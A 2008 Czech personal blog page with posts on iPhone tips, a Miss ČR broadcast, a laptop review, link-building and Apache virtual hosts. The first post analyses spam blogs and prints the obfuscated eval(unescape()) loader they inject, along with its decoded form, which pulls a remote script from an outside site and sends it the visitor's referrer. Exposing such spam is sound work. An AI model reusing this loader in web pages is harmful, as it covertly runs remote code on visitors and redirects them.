PELMEL

Sblog.cz plný spamu a porna

29. 3. 2008

Shodou náhod jsem narazil na několik blogů na adrese sblog.cz, které jsou založeny spammery a fungují čistě pro přesměrování na pharmacy, porno, a další SPAM affiliate weby.

Způsob spamu, nebo chcete-li hacku je až trapně jednoduchý. Do stránky je vložen kódovaný javascript (pomocí funkce escape()), která je pak funkcí eval() vykonán.

Takový kód vypadá například takto:

eval(unescape("%66%75%6e%63%74%69%6f%6e%20%69%6e%63%6c%75%64%65%5f%64%6f%6d%28%73%63%72%69%70%74%5f%66%69%6c%65%6e%61%6d%65%29%20%7b%0a%20%20%76%61%72%20%64%6f%63%20%3d%20%64%6f%63%75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74%73%42%79%54%61%67%4e%61%6d%65%28%22%68%65%61%64%22%29%2e%69%74%65%6d%28%30%29%0a%20%20%76%61%72%20%6a%73%20%3d%20%64%6f%63%75%6d%65%6e%74%2e%63%72%65%61%74%65%45%6c%65%6d%65%6e%74%28%22%73%63%72%69%70%74%22%29%0a%20%20%6a%73%2e%73%65%74%41%74%74%72%69%62%75%74%65%28%22%6c%61%6e%67%75%61%67%65%22%2c%20%22%6a%61%76%61%73%63%72%69%70%74%22%29%0a%20%20%6a%73%2e%73%65%74%41%74%74%72%69%62%75%74%65%28%22%74%79%70%65%22%2c%20%22%74%65%78%74%2f%6a%61%76%61%73%63%72%69%70%74%22%29%0a%20%20%6a%73%2e%73%65%74%41%74%74%72%69%62%75%74%65%28%22%73%72%63%22%2c%20%73%63%72%69%70%74%5f%66%69%6c%65%6e%61%6d%65%29%0a%20%20%64%6f%63%2e%61%70%70%65%6e%64%43%68%69%6c%64%28%6a%73%29%0a%20%20%72%65%74%75%72%6e%20%66%61%6c%73%65%0a%7d%0a%66%75%6e%63%74%69%6f%6e%20%67%6f%28%29%20%7b%0a%69%6e%63%6c%75%64%65%5f%64%6f%6d%28%22%68%74%74%70%3a%2f%2f%77%77%77%2e%66%69%6e%61%6e%63%65%2d%6c%65%61%64%65%72%73%2e%63%6f%6d%2f%66%65%65%64%32%2e%70%68%70%3f%6b%65%79%77%6f%72%64%3d%22%2b%20%65%73%63%61%70%65%28%22%31%30%39%35%22%29%2b%22%26%66%65%65%64%3d%38%26%72%65%66%3d%22%2b%20%65%73%63%61%70%65%28%64%6f%63%75%6d%65%6e%74%2e%72%65%66%65%72%72%65%72%29%29%0a%20%20%72%65%74%75%72%6e%20%66%61%6c%73%65%0a%7d%0a%67%6f%28%29%3b%0a"));

Po rozkódování se ve stránce vykoná tento skript:

function include_dom(script_filename) { var doc = document.getElementsByTagName("head").item(0) var js = document.createElement("script") js.setAttribute("language", "javascript") js.setAttribute("type", "text/javascript") js.setAttribute("src", script_filename) doc.appendChild(js) return false } function go() { include_dom("http://www.finance-leaders.com/feed2.php?keyword="+ escape("1095")+"&feed=8&ref="+ escape(document.referrer)) return false } go();

Trapné, co? :)

Pro příklad 50 blogů, které patří těmto spamerům. V reálu jich bude typuju pár tisíc :) více


Řazení ikon v Apple iPhone

24. 3. 2008

Nejspíš jsem objevil Ameriku :) Narazil jsem v iPhonu na to, jak seřadit ikonky. je to možná věc, kterou všichni už znají a mě se vyhla obloukem, nicméně to možná mnohým pomůže, proto tento spot.

Úplně náhodou, když jsem nechal iPhone kolovat mezi bývalými spolužáky (ano, dovezl jsem iPhone na venkov) jsme narazili na to, jak řadit ikonky :)

Je to až trapně primitivní (stejně jako celé ovládání iPhonu) - podržíte na 2 vteřiny jakoukoliv ikonku, ikonky se roztančí, přeházíte si je jak chcete a pak stisknete home button :)


Miss ČR - nuda, trapas a konzumní záležitost

16. 3. 2008

Nevím jestli je to tím, že Nova kdysi změnila poměr vysílání a přes digitál se mi doma roztáhne obraz, ale přijde mi, že oproti loňsku šla Miss ČR směrem k vychrtlinám - alespoň tedy když vezmu Kateřinu Sokolovou, Zuzanu Jandovou, a v lineární řadě Miss 2009 a Miss 2010.  Od roku 2010 by soutěž mohla pokračovat s názvem MISSomalia. Ne, že by se mi, jak Jan Čenský řekl, TÉMĚŘ dokonalé křivky 90-60-91 nelíbily, ale to, že některé holky si ničí zdraví jen kvůli limitu není žádná známka prestižnosti (paní Maláčová na to také přišla).

Zpět ale k pořadu. Zvyk je železná košile a tak nova zvolila klasické nafukování a zvala na netradiční hosty (tak nějak to nazvali). Mno, ve finále to byla až na roztomilou Miss World konzumní záležitost. Kája, Lucka, a chyběla snad jen Helenka.

Na závěr však nezklamali. Ex-prezident Miss ČR Miloš Zapletal si pozval prezidentku Miss World Julii Morley, a nedokázal jí anglicky ani pozdravit. V tu chvíli se ukázala naprostá neprofesionalita. Když se dostala Julia Morley k proslovu, natvrdo přes ní pustili tlumočnici. Panečku, to je úcta. Výsledkem bylo, že člověk neslyšel ani tlumočnici, ani Julii. Korunu tomu dal Miloš Zapletal tehdy, když Julii odpověděl česky. Ta čučela jak péro z gauče a Miloš jí musel uklidit do zákulisí.

Nádhera! :)


iPhone firmware 1.1.3

21. 2. 2008

Minulý týden se objevilo několik verzí na odbokolvání iPhone pomocí softwaru, nikoliv Turbo SIM. Díky tomu se Ivanovi podařilo rozběhnout můj iPhone.

Spolu se softwarovým odblokováním je možné také updatovat na firmware 1.1.3. Co 1.1.3 přináší?

Nové aplikace map
- Vyhledání destinace
- Zlepšený interface

Poslání SMS zprávy více příjemcům (to ocení hlavně Petr s Honzou - diváci vědí :)

Nastavitelný Home Screen
- Vlastní uspořádání ikon
- Přidání oblíbených stránek v Safari na Home Screen stránky
- Vytvoření až 9ti Home Screen stránek

IMAP podpora pro Gmail

Podpora pro “video půjčovnu” v iTunes Store

Rozšířený video přehrávač
- Epizody
- Titulky
- Změna jazykové stopy

Podpora textů u písniček v iPodu


Člověk na výměnu odkazů

16. 2. 2008

Před pár týdny jsem přemýšlel, že bych využil služeb člověka, který hledá partnery pro výměnu odkazů. Čím víc se blížila doba, že jsme se měli domluvit, tím víc jsem pochyboval o tom, jestli to vlastně chci.

Proč jsem začal pochybovat?

Jednoznačně proto, že jsem si nebyl jistý, jestli to bude až tak přínosné. Sice ušetřím pár hodin času hledáním partnerů, ale zase budu mít tématické weby a vyberu si jen ty, které za něco stojí. Pokud máte klienta, který buduje brand a jeho značka na trhu něco znamená, nebude působit moc dobře, když na stránce s odkazy budou online hry, mp3 ke stažení zdarma a podobné nesmysly. Naopak přínosem pro všechny je, když na stránce s odkazy nalezne návštěvník stránky, které ho třeba i zaujmou.

Další obrovskou nevýhodou je, že část svého potencionálního úspěchu vložíte do rukou někoho, kdo může své služby nabídnout konkurenci. V takovém případě udělá stejnou práci pro něho a výsledkem je téměř nulový efekt a peníze v háji.

Tím, že daného člověka platíte za odkaz, je v jeho zájmu toho dohodnout co nejvíce. Jenže pokud se snaží moc, začne spamovat a tím vám dělá špatnou reklamu. Pokud pak napíšete danému webmasterovi žádost o výměnu, má vás za spamera č. 2.

Jaké máte zkušenosti s podobnými nabídkami?

Na závěr bych rád zmínil, že mám zájem o linkbuildera na jednocestné odkazy. Pokud tuto službu nabízíte, nebo o někom víte, budu rád, pokud mi dáte vědět přes komentář, nebo email.


iPhone je u pana doktora

9. 2. 2008

Jak se zdá, koupil jsem prokletej iPhone.

Ještě ten večer, kdy jsem si iPhone přivezl domů mi sežral TurboSIM. Zní to divně, ale je to tak. V “docku” na SIM kartu jsem vyndal jen samotnou SIMku, Turbo SIM zůstala v telefonu. V asi 2mm škvírce jsem jí entomologickou pinzetou doloval 2 hodiny. O tom jsem ale psal v prvních krůčcích.

iPhonem mi padl rychle do ruky. Opravdu super telefon, jednoduchý, přehledný, chytrý. Vydržel mi ale jen do 1.2. Ve čtvrtek jsem po deváté ráno odeslal SMSku, v 10 už odesílání nefungovalo. iPhone hlásil “error sending message”. To bych přežil, stejně jsem měl v pátek večer schůzku s iPhone doktorem. Jenže tím drama nekončí.

Pátek začal hekticky. Jel jsem ráno na schůzku, ale už jsem nepočítal s tím, že jsou prázdniny. Ve čtvrtek napadlo trochu sněhu, takže hned ráno vyrazili skoro všichni pražáci na hory. Zůstal jsem proto ve štrůdlu na místě, kdy v pátek ráno nebývá. Poslední co jsem s iPhonem stihl bylo zavolat, že se opozdím. Dorazil jsem za klientem a byl “klid”. iPhone hlásí “No service”. Nejdřív jsem tomu nepřikládal moc váhu, protože v tom místě jsem se s O2 ani minule nechytal. Nicméně po pár kilometrech mi bylo jasné, že se mi stalo to, co jsem četl v diskusi. iPhone zamrzl.

Doufám, že mi dá pan doktor iPhone do pořádku a bude to poslední problém, který jsem s ním měl :)

Už jen kvůli tomuto jsem nechtěl kupovat iPhone přes eBay. Pokud se něco sesype, zasílání telefonu na reklamaci, případně vyřešení problému v ČR vás vyjde mnohem dráž než kdybyste ho koupili tady - tedy pokud byste měli smůlu a sesypal by se jako ten můj.


Notebook Acer Aspire 7720G

28. 1. 2008

Před Vánoci jsem pro tátu sháněl notebook. Nároky byly předem dané - Intel (po předchozích zkušenostech s hlučným topením v podobě Athlonu), rozumná frekvence procesoru a dostatečně velkou RAM paměť a HDD. Měl by mít 17″ LCD.

Ve finále jsem vybral Acer Aspire 7720G - Intel Core 2 Duo 2.2 GHz, 2 GB DDR2 na 667 MHz, 250GB SATA disk, NVIDIA GeForce 8600M GT. vyhrál především díky tomu, že má integrovanou čtečku karet, která umí i xD (většina zaměstnanců / spolupracovníků má Olympusy a měsíčně je potřeba zpracovat přes 1000 fotek)

Jediné, čemu jsem se bránil byly Windows Vista. Měl jsem otřesnou zkušenost s nejnižší verzí tohoto systému, kde nešlo nastavit vůbec nic - pořád nabízel přiblblé průvodce, přes které bylo nastavení ještě těžší než normálně :) Jenže dnes už mají všechny notebooky Visty. Naštěstí práce s Windows Vista Home Premium je lepší než s těmi nejzákladnějšími (nejspíš Home Basic)

S odstupem času můžu hodnotit celkově notebook jako naprosto průměrný.

Sám používám Asus s XP a jsem s ním naprosto spokojen. Tento Acer mu obrazně řečeno nesahá ani po kotníky. Jednak mě Acer přesvědčil, že do svých notebooků po dlouhá léta integruje shitové CD a DVD mechaniky (Tento notebook má stejně jako tátův předchozí problém přečíst některá CD/DVD, je potřeba je dát do externí mechaniky, která si s nima hravě poradí) a Windows Vista jsou stále betaverzí operačního systému. Neumějí se bezpečně probrat z režimu spánku - po zapnutí mnohdy skočí okno s obnovou systému, který byl údajně vypnut nestandardním způsobem. Další otravnou věcí je okno s nějakým upozorněním, jestli chcete opravdu udělat to, co jste právě udělat chtěli :)

Kdybych si měl dnes vybrat notebook pro sebe, tak buď s Windows XP, nebo Mac OS X. Windows Vista stále v mých očích není stabilní systém.


Převod kontaktů z Nokie do iPhonu

26. 1. 2008

Chvíli po tom, co jsem si koupil iPhone jsem řešil jak dostat kontakty z Nokie 6230 do iPhonu. Stáhl jsem nejnovější podporovanou verzi Nokia PC Suite (verze 6.x) pro Nokii 6230 a zazálohoval jsem kontakty. Pak jsem si všiml, že v rámci synchronizace nabízí Nokia synchronizaci s Outlook Express (neboli Windows Address Book).

Zde je návod jak jednoduše přesunout kontakty z Nokie do iPhone. Na posílání vizitek po Bluetooth zapomeňte, iPhone je ještě neumí zpracovat. Je to ovšem do času, protože kontakty ukládá ve standardním formátu, takže jde jen o to, aby to Apple v rámci nějakého firmware vyřešil.

  1. Zazálohujte si obsah telefonu do PC. (není nutné, ale je to praktické)
  2. Pokud používáte Outlook Express k přijímání pošty, udělejte si export všech kontaktů (opět pouze jako záloha, není nutné). Poté vytvořte novou složku a do ní přesuňte všechny stávající kontakty tak, aby hlavní složka byla prázdná.
  3. Otevřete Nokia PC Suite a v rámci synchronizace uložte všechny kontakty z telefonu do Outlook Express (Windows Address Book)
  4. Dejte iPhone do kolébky, zapněte iTunes. V menu pod devices vyberte iPhone a v hlavním okně vyberte záložku Info. Zde v části Contacts zaškrtněte synchronizaci s Windows Address Book. Pokud jste měli v adresáři Outlook Expressu nějaké kontakty, vyberte z nabízených skupin kontaktů pouze hlavní skupinu - tedy kontakty z Nokie. Pokud jste měli adresář Outlook Expressu prázdný, nenabídne vám iTunes žádné skupiny a bude pracovat s hlavní skupinou automaticky.
  5. Klikněte v iTunes na tlačitko Sync a čekejte, než se data nahrají do iPhonu.

Synchronizace je hotová a kontakty jsou v iPhone :)Nakonec ještě jeden tip - pokud máte v mobilu kontakty nějak logicky uspořádané (vždy třeba Jméno Příjmení, nebo opačně), je dobré toto řazení nastavit v iPhonu. Při synchronizaci bere kontakty z Nokie podle svého nastavení. Tzn. pokud máte kontakt ve starém telefonu kontakt Pepa Novák a v iPhonu Display order Last, First , tak pak bere Pepu jako příjmení, Nováka jako jméno. Proto je třeba nastavit Display Order obráceně (First, Last). Toto nastavení se mění v Settings -> Phone -> Display Order.


První krůčky s Apple iPhone

25. 1. 2008

Jsem další z mnoha, kteří neodolali. Od včerejšího večera mám iPhone.

Je to parádní telefon. Jak je u Apple zvykem, ovládání je intuitivní. Netrvalo však dlouho a prvnotní euforii vystřídaly “porodní problémy”.

iPhone má problém s připojením na wifi s WEP zabezpečením. Tváří se že se připojil, ve skutečnosti neumí od routeru získat data (přestože jej ve statistikách routeru vidím jako connected). Někdo radí několikrát reset, jiní zas smazat připojení a založit znovu (zkoušel jsem už asi 5x), o výsledek se podělím až se povede.

Další problém nastal, když jsem se snažil vyndat SIMku, abych synchronizoval data s Nokií (iPhone zatím neumí vizitky). Není tam na SIM moc místa a s iPower Turbo SIM je ho ještě míň. Výsledkem vyndání bylo to, že Turbo SIM zůstala zaseklá asi 2cm hluboko v telefonu. Výsledkem byly asi 2 hodiny titěrného dolování.

O tom, jak vydolovat Turbo SIM z iPhone a jak jednoduše synchronizovat data s Nokií příště :)


Virtuální servery v Apache

25. 12. 2007

Každý se jednou setká s tím, že přehazovat umístění aliasu localhost mezi více adresáři (projekty) je nepraktické. Ještě méně praktické je zakládat pro tyto projekty adresáře typu localhost/projekt1/ , resp. projekt2, atd. Nemůžete pak linkovat soubory absolutně, ale musíte počítat s tím, že od rootu vás dělí ještě adresář s názvem projektu.

Nejelegantnějším a nejpraktičtějším řešením je založení aliasu - adresy pro každý projekt.

Postup je jednoduchý.

Neprve si otevřete soubor httpd.conf (nachází se ve složce, kde máte nainstalovaný apache, resp. v podsložce conf. Některé instalační balíčky obsahující apache + php + mysql, jako například wamp server, mají odkaz na httpd.conf v menu).

V httpd.conf najděte a odkomentujte (smažte #) řádek “#Include conf/extra/httpd-vhosts.conf”. Zápis virtuálních serverů by byl možný i do samotného httpd.conf, ale zápis by byl velmi nepřehledný. Tímto povolíte vložení pravidel, která budou v souboru httpd-vhosts.conf, který se nachází ve složce, kde máte nainstalovaný apache, resp. v podsložce conf/extra/. Jako výchozí je v tomto souboru nějaký příklad. Moc použitelný ovšem není. Obsah proto smažte a vložte něco na způsob kódu, který je na konci článku (v případě, že jej čtete z kategorie, tak pak rozklikněte na detail) - vzorové nastavení 3 virtuálních serverů - localhost, projekt1 a projekt2

Po tomto nastavení je třeba restartovat Apache. Aliasy těchto serverů je potřeba nastavit také v souboru hosts, který se nachází ve složce Windows, resp. podsložkách system32/drivers/etc/ (na linuxu ve složce /etc/hosts). V tomto souboru je několik příkladů. Pro výše zmíněné nastavení upravte řádek s adresou 127.0.0.1 (případně ho přidejte) takto:

127.0.0.1 localhost projekt1 projekt2

Poznámka: Na konci souboru hosts by měl být z nějakých důvodů 1 prázdný řádek

Tímto máte nastavený Apache a své 3 servery. více



RSS